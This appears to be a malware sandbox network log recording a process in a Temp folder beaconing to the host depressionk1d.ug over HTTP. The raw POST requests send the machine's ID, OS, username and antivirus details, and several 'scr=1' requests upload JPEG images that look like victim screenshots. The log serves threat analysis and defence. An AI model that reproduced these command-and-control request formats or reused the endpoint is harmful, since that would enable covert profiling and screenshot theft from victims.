184	192.168.2.4	49969	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:56.656429052 CET	8472	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:56.682476044 CET	8473	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.4	49970	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:56.855655909 CET	8473	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:56.881656885 CET	8474	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.4	49971	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:57.019174099 CET	8475	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:57.050852060 CET	8489	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.4	49972	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:57.029473066 CET	8475	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7528d71526b232f5f62aa1709e48d5df Host: depressionk1d.ug Content-Length: 107845 Cache-Control: no-cache
Nov 12, 2021 22:23:57.029603958 CET	8476	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 35 32 38 64 37 31 35 32 36 62 32 33 32 66 35 66 36 32 61 61 31 37 30 39 65 34 38 64 35 64 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7528d71526b232f5f62aa1709e48d5dfContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:57.029854059 CET	8486	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:57.029997110 CET	8488	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:57.052356958 CET	8492	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:57.052422047 CET	8500	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:57.052440882 CET	8503	OUT	Data Raw: 11 5d fd 95 a6 63 20 c6 59 62 76 45 24 64 02 e0 6d 04 8e 80 9c 9c 8f 51 58 f7 1a 3d dc ba c5 c5 ad 9c df 65 b3 6d 36 2b 66 76 80 be 57 74 80 85 39 00 30 04 7a f5 e9 53 7f c2 2f 1c 5a cb df db fd 87 e7 28 d9 b8 b2 12 cb 19 55 0b f2 49 b8 15 e0 0e Data Ascii: ]c YbvE$dmQX=em6+fvWt90zS/Z(UIZgWRs</'+uj#x,tcIH3DYUnAuSZzlLVsnZy7ebvvrxj&aKh9T2DA!QmO:ZkZ[O{=EL&bas*swsu]G]
Nov 12, 2021 22:23:57.052465916 CET	8506	OUT	Data Raw: 62 90 c4 a4 a7 62 8c 53 b0 8a 75 d8 78 46 c6 c7 51 f0 ee bb 6b 75 6f 0b 5c 5c 4d 6b 6d 69 3b a8 dd 14 ae 26 29 83 d4 06 75 45 3e c7 9e 95 c9 ec 15 2a cf 77 1d 94 f6 70 ce 52 de 79 23 96 45 00 64 b2 6e d8 73 d4 63 73 74 3d eb 9a a4 25 28 34 bf ad Data Ascii: bbSuxFQkuo\\Mkmi;&)uE>*wpRy#Ednscst=%(4NI)][Zoo.`Ol\$e[6S\i\__bI-Bv2w],7q^#i$r;n<t1kfge[E#X;)dHcURHV_}+J
Nov 12, 2021 22:23:57.052524090 CET	8508	OUT	Data Raw: d1 4c 57 13 14 a0 52 e2 8c 50 01 8a 5c 51 8a 5c 53 10 94 a2 94 8a 00 a6 20 c5 00 51 4b 40 82 8a 28 a6 01 4e a4 14 b4 c4 c2 96 92 94 53 42 14 52 d2 0a 75 34 20 a2 8a 75 31 09 4b 45 2e 29 ea 21 29 c2 92 96 81 05 2d 25 2d 31 0a 05 28 a0 52 8a a2 43 Data Ascii: LWRP\Q\S QK@(NSBRu4 u1KE.)!)-%-1(RCbbSSv$ZJ;QKTHRZX)-R$p4U&KD:HS7jxj:PSg`I[={.P\k_J8lQ2QE&)X.&)qJ(V
Nov 12, 2021 22:23:57.052566051 CET	8515	OUT	Data Raw: 22 cb fe b8 27 fe 82 2b 59 40 fb 38 6e 87 19 af 98 a1 56 a5 59 38 b9 ca fe ac f6 65 4e 11 49 f2 af b8 f3 81 f0 83 c2 e3 ae 9b 31 fa 5c b9 fe b5 e2 fe 29 f0 b5 fe 8b ad ea 08 9a 55 f4 5a 7c 53 b8 86 59 21 7d a6 30 78 3b 88 c1 18 ef 5f 56 b9 1e 57 Data Ascii: "'+Y@8nVY8eNI1\)UZ\|SY!}0x;_VW:W?Y/k9TC+)>:$4(+/D{H#/vS\|+O$pc~(\|#T+[H0i#W!hM]#C$x=i(7AN^X
Nov 12, 2021 22:23:57.075005054 CET	8518	OUT	Data Raw: 24 20 e4 f4 cf 5c d5 e8 3c 4f a7 45 7d a7 dc 37 87 e7 07 4a 97 cc d3 d6 2b fc 6c 1b fc cf 2e 42 d1 b6 f4 0e 58 8c 6d 60 09 05 8f 04 62 fd b2 95 ba 7f c0 ff 00 3f d7 c8 d7 f7 4d 69 bf f5 fd 7d dd 85 ba d1 61 b5 f0 65 8e ae 34 8d 6a 77 b8 8e 46 96 Data Ascii: $ \<OE}7J+l.BXm`b?Mi}ae4jwF{vY0<p\rjht4\|En&}b}+&Ut;;[2\Cx+IOJ=#mtk~$$%#=1G5m_F=gBlnm?JRXpB
Nov 12, 2021 22:23:57.123727083 CET	8587	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:57 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:57.161223888 CET	8588	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:57.186871052 CET	8588	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.4	49974	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:57.408648968 CET	8593	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:57.434689999 CET	8593	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.4	49975	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:57.653404951 CET	8594	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:57.680387974 CET	8633	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49801	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:19.042795897 CET	2419	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----fe5fd9d972afa9463906ab265b5c60cb Host: depressionk1d.ug Content-Length: 117120 Cache-Control: no-cache
Nov 12, 2021 22:23:19.042891979 CET	2419	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 66 65 35 66 64 39 64 39 37 32 61 66 61 39 34 36 33 39 30 36 61 62 32 36 35 62 35 63 36 30 63 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------fe5fd9d972afa9463906ab265b5c60cbContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:19.043067932 CET	2429	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:19.043206930 CET	2431	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:19.065486908 CET	2439	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:19.065557003 CET	2444	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:19.065579891 CET	2450	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:19.065598011 CET	2454	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:19.065612078 CET	2456	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:19.065634012 CET	2459	OUT	Data Raw: 14 5d 92 ea 79 15 04 72 9e 88 4f e1 52 2d bc c7 f8 71 f5 a9 cc cf db 02 9a 64 7f ef 1a 35 27 9d b0 16 ad dd d4 7e 34 f1 6e 83 ac 9f 95 47 b8 fa d2 03 4e cc 97 76 58 d9 02 9f bc 4d 3b 7c 2b d1 41 aa d9 a2 8e 42 6c 5a 17 40 7d d4 5f ca 83 7b 2f f7 Data Ascii: ]yrOR-qd5'~4nGNvXM;\|+ABlZ@}_{/UsFi{8n>.>>f${s+dcLXGEdK{x\|5oo\AZ}~&qOJ<3R(xYt;AxXrnXd}5k<Ej8^hWT
Nov 12, 2021 22:23:19.088042021 CET	2462	OUT	Data Raw: e1 4e 06 98 29 d5 48 96 89 41 e2 9f 9a 88 1a 70 35 69 90 d1 20 34 f0 6a 20 79 a7 29 ab 4c 86 89 37 53 5e 64 89 37 c8 e1 57 38 e4 13 cf e1 f4 a4 26 a9 6a 27 fd 17 fe da 0f e4 6b 2c 45 57 4e 9b 94 4d 30 f4 95 4a 8a 2c b0 6f ed ff 00 e7 ba ff 00 df Data Ascii: N)HAp5i 4j y)L7S^d7W8&j'k,EWNM0J,o-o\|V%JG$yP:{roEs`jw_([>gAo=oN{\-?*DfQ:!n?k^\yt<kv?
Nov 12, 2021 22:23:19.137845039 CET	2541	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:19 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.4	49976	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:57.653738022 CET	8595	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----3529b1c2a4757137df590a1ac8a0c6db Host: depressionk1d.ug Content-Length: 107582 Cache-Control: no-cache
Nov 12, 2021 22:23:57.653925896 CET	8595	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 33 35 32 39 62 31 63 32 61 34 37 35 37 31 33 37 64 66 35 39 30 61 31 61 63 38 61 30 63 36 64 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------3529b1c2a4757137df590a1ac8a0c6dbContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:57.654236078 CET	8605	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:57.654447079 CET	8607	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:57.676971912 CET	8616	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:57.677040100 CET	8624	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:23:57.677057028 CET	8628	OUT	Data Raw: cc c9 04 be 74 2b 23 2c 72 ed 2b bd 41 e1 b0 79 19 1c e2 9b 85 a6 3c b2 4d 23 cb 2c 8d 24 ae c5 9d dc e5 98 9e 49 27 b9 a3 35 d9 1d 92 67 24 ac db 68 77 96 a7 bd 21 88 7a d2 73 4b 93 55 a1 3a 89 e4 fb d1 e4 9a 5d c6 97 79 a2 c8 77 90 cf 29 a9 0a Data Ascii: t+#,r+Ay<M#,$I'5g$hw!zsKU:]yw)R0zQd+.==!G s(F4i<=jhKS}nXs"ZaHca1tJ.b()E%(Zb((QE-%aE.(wb, QKMLRKHES(vIJ(NP
Nov 12, 2021 22:23:57.677071095 CET	8633	OUT	Data Raw: 83 af 88 a9 14 ec ed fa a3 d1 cc eb aa 14 a1 26 ae af fa 33 d5 da 4b c4 f0 df 9d 68 d1 b5 e7 96 ae 0c a0 ed 2d c6 78 1f 8d 67 f8 96 e1 6e fc 05 ac dc a7 dd 96 cd a4 1f 43 18 35 61 27 b9 b8 f0 5c 33 5a 46 0d c4 f6 d1 79 6a 4f 0a 58 2f 27 d8 67 3f Data Ascii: &3Kh-xgnC5a'\3ZFyjOX/'g?E{t}[`dWc(STX.5Si_5HN:P_ok~%I,\.,8\y;l$2$!o$
Nov 12, 2021 22:23:57.699536085 CET	8637	OUT	Data Raw: 72 e5 b4 1e 1e d4 2d fe dd 1a ea 56 56 96 d7 11 a5 e2 4d 71 1c ad e5 48 4a 89 11 84 6b f7 5b aa 95 39 07 82 2a ae ad a3 b6 87 6f 14 37 a5 bf b4 26 9e 40 a8 a4 6c 10 a1 2b bf d7 e6 60 71 ec a7 ae 45 3a e7 51 d0 df c3 97 5a 6d 8d 9e a3 61 3c b2 a3 Data Ascii: r-VVMqHJk[9o7&@l+`qE:QZma<M]y?-A;V$8R)5{n~-n\gqu%ME4+}KXFUur8RV5fY7B#e#k-@.#.$\$6_`kEYnm!o)pC`>k
Nov 12, 2021 22:23:57.699584007 CET	8641	OUT	Data Raw: 54 53 46 e8 4f 58 ff 00 2a a9 be 97 7d 4f b3 15 99 70 25 b3 0e e2 a4 5b 48 1b ee cd 8f ad 51 0f 4f 12 0a 97 07 d1 8d 3b 74 34 46 94 58 65 26 53 4e fe c7 9c 8f e1 3f 8d 50 4b 87 5e 8c 45 5a 8f 51 99 0f de ac a4 aa ad 99 ac 65 49 fc 48 93 fb 16 73 Data Ascii: TSFOX}Op%[HQO;t4FXe&SN?PK^EZQeIHs?#L}~UQVNx04sh,IGWuj@0%Ox-)\|5=XIJ=+NnCzMidEe,PgD2Gp+P\[HAX6:
Nov 12, 2021 22:23:57.699616909 CET	8655	OUT	Data Raw: 7f c8 22 cf fe b8 27 fe 82 2a e2 ca 45 fd bc 60 f0 d0 39 3e c7 2b 8f eb f9 55 1d 30 ff 00 c4 a2 cf fe b8 27 fe 82 2a c5 bd b4 13 cb 70 c6 e0 3c f9 55 c2 37 cd 0e 06 40 eb c1 f9 b3 db 86 15 f2 18 36 dd 69 5b fa d4 fa 27 ca a3 79 0c bd 0f 1a 6a 69 Data Ascii: "'E`9>+U0'p<U7@6i['yjipA;k/O5'c1Sx+TQ4vx@oZ{~+A?6p?_- T('}/^^@}/\34>/rDD{?
